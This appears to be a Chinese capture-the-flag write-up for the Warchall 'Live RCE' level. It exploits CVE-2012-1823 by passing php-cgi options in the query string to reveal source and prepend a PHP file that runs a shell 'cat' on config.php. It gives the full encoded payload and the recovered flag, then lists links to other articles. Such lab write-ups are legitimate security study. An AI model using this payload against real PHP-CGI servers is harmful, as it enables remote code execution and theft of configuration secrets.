具体漏洞是:CVE-2012-1823(PHP-CGI RCE)

在地址后面加进参数运行对应的php-cgi 参数的行为

例如 index.php?-s

相参于/usr/bin/php53-cgi/php-cgi -f index.php -s

php-cgi --help如下:

Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.

http://rce.warchall.net/?-s

看到index.php的源代码

基中有一个语句是:require '../config.php';

然后我们想办法读到这个文件

index.php 的绝对路径是:/home/level/20_live_rce/www/index.php
../config.php 的绝对路径是:/home/level/20_live_rce/config.ph
想办法输出config.php 的源代码。 php-cgi
参数中:d foo[=bar] Define INI entry foo with value 'bar'
-dallow_url_include=On
dauto_prepend_file=/tmp/2.php
在/tmp里建立一个2.php内容是:
<?php
exec("cat /home/level/20_live_rce/config.php",$out);
print_r($out);
?>

提交地址:(地址里,这个/tmp/2 可以换在自己的服务 http://xxx.xxx/1.txt)

http://rce.warchall.net/?-dallow_url_include=On+-dauto_prepend_file=/tmp/2.php+-n

URLencode一下是:

http://rce.warchall.net/?-dallow_url_include%3DOn+-dauto_prepend_file%3D%2ftmp%2f2.php+-n

得到 ../config.php的源代码:

Array ( [0] => define('ICANHAZRCE', 'StrongGard_6_3');
[2] => return ICANHAZRCE;
[3] => ?> )

Warchall: Live RCE的更多相关文章

  1. RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

    catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...

  2. PHP FastCGI RCE Vul

    catalog . Introduction . nginx文件类型错误解析漏洞 . 针对直接公网开放的Fast-CGI攻击 . 通过FCGI API动态修改php.ini中的配置实现RCE 1. I ...

  3. SpringSecurityOauth RCE (CVE-2016-4977) 分析与复现

    目录 0x00 前言 0x01 调试分析 0x02 补丁分析 0x03 参考 影响版本: 2.0.0-2.0.9 1.0.0-1.0.5 0x00 前言 这个漏洞与之前那个SpringBoot的SpE ...

  4. RFI to RCE challenge

    http://www.zixem.altervista.org/RCE/level1.php 构造payload: https://zixem.altervista.org/RCE/level1.ph ...

  5. ecshop 2.x 3.x sql injection/rce payload

    首先,感谢ringk3y的分析:http://ringk3y.com/2018/08/31/ec ... %E6%89%A7%E8%A1%8C/ 大家跟一遍代码基本上都能弄明白漏洞的原理,整个漏洞的构 ...

  6. 挖洞姿势:特殊的上传技巧,绕过PHP图片转换实现远程代码执行(RCE)

    我使用了一个特殊的图片上传技巧,绕过PHP GD库对图片的转换处理,最终成功实现了远程代码执行. 事情是这样的.当时我正在测试该网站上是否存在sql注入漏洞,不经意间我在网站个人页面发现了一个用于上传 ...

  7. CVE-2019-8341 Jinja2 RCE漏洞学习

    漏洞简述 漏洞简介 Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的ji ...

  8. Nuxeo 认证绕过和RCE漏洞分析(CVE-2018-16341)

    简介 Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS).nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页 ...

  9. 【Python】CVE-2017-10271批量自查POC(Weblogic RCE)

    1.说明 看到大家对weblogic漏洞这么热衷,于是也看看这个漏洞的测试方式. 找了几个安全研究员的博客分析,经过几天的摸索大体清楚漏洞由XMLDecoder的反序列化产生. 漏洞最早4月份被发现, ...

随机推荐

  1. 第九课,T语言数组的定义与访问(版本5.0)

    数组的定义与访问 数组是一系列数据的集合,可以存储大量数据,通过数组的下标.key,可以实现对数据的快速访问. 为什么要使用数组呢? 如果您有一个项目列表(例如汽车品牌列表),在单个变量中存储这些品牌 ...

  2. 转 通过js获取cookie的实例及简单分析

    今天review新人写的javascript代码的时候发现了很多的问题.这里以function getCookie(name){}为例. 其中比较典型的一个问题就是如何通过javascript获取co ...

  3. OpenGL矩阵类(C++)

    概述 创建&初始化 存取器 矩阵运算 变换函数 实例:模型视图矩阵 实例:投影矩阵 概述 OpenGL固定功能管线提供4个不同类型的矩阵(GL_MODELVIEW.GL_PROJECTION. ...

  4. JdbcUtils 系列1

    1.开发前准备 创建java pro为dbutils_1,没有lib目录,建一个即可 /dbutils_1/lib/mysql-connector-java-5.0.8-bin.jar 数据库搭建c3 ...

  5. 39:第n小的质数

    39:第n小的质数    总时间限制:    1000ms    内存限制:    65536kB描述    输入一个正整数n,求第n小的质数.输入    一个不超过10000的正整数n.输出    ...

  6. 各种数据分析图demo

    极地蛛网图:http://www.hcharts.cn/demo/index.php?p=61 各种数据分析图demo: http://www.hcharts.cn/demo/index.php?p= ...

  7. 关于jsp中response.sendRedirect显示错误

    今天在jsp中作判断时,当不同条件时利用response.sendRedirect(“url”)来转向不同的页面,首先是判断验证码,当错误时就转向错误页面:当正确时,才进行用户名和密码的判断,同样也r ...

  8. 使用 Jmeter 做 Web 接口测试

    接口测试概述 定义 API testing is a type of software testing that involves testing application programming in ...

  9. protoc 和 protoc-gen-go 产生的 proto 文件代码对比

    protoc 命令来自 https://github.com/google/protobuf, 由于这里没有 go 的产生代码, go的产生代码在 protoc-gen-go  (https://gi ...

  10. 就是这么简单!使用Rest-assured 测试Restful Web Services

    使用 Rest-assured 测试 Restful Web Services 转载注明出处: http://www.cnblogs.com/wade-xu/p/4298819.html 这里向大家介 ...